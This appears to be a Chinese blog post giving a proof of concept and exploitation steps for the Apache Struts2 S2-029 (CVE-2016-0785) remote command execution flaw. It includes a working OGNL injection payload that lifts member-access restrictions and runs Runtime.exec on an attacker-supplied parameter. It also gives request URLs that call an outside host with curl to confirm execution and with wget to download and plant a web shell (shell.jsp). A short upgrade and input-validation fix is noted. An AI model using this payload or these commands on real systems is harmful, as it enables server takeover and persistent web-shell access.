struts任意命令POC(s2-029|cve-2016-0785)

一、POC

下载struts-2.3.24.1 (2016-03-18 官网最新Releases版

到 /struts-2.3.24.1/app 目录,复制一个struts-blank.waf(官方demo),部署到tomcat下。

启动tomcat,到 webapps/struts-blank 下新建poc.jsp,输入以下代码

<%@page import="java.util.HashSet"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head><title>s2-029</title></head>
<body>
<%
	String cmd = request.getParameter("cmd");
	request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('"+cmd+"'),new java.lang.String('");
%>
<s:i18n name="%{#request.lan}">xyz</s:i18n>
</body>
</html>

然后修改 “webapps/struts2-blank/WEB-INF/web.xml” 注释23-37行 (<!– 多行注释 –>)

打开浏览器测试

QQ20160318-0@2x

加固方法:

a.struts升级 2.3.25及以上(最新版github上已发布)

b.对s标签使用数据严格校验

二、利用

1.验证(利用www.name.com上access日志即可确认)

http://127.0.0.1:8080/struts2-blank/poc2.jsp?cmd=curl http://www.name.com/

2.写shell

http://127.0.0.1:8080/struts2-blank/poc2.jsp?cmd=wget -P ../webapps/struts2-blank http://www.name.com/shell.jsp

3.利用说明

经实际测试以下几种最常用标签均能利用

<s:i18n name="%{#request.lan}">xxxxx</s:i18n>

<s:property value="%{#request.lan}"/>

<s:if test="%{#request.lan}">
	nothing
</s:if>

<s:text name="%{#request.lan}" />

在利用上有几个条件:

1.使用的是存在此漏洞的版本;

2.页面使用了struts标签;

3.标签中变量可控;

其中条件3在不看源代码的情况下较难实现,一般可以靠经验猜。

参考:http://seclab.dbappsecurity.com.cn/?p=678&from=timeline&isappinstalled=0

One thought on “struts任意命令POC(s2-029|cve-2016-0785)

发表评论

电子邮件地址不会被公开。 必填项已用*标注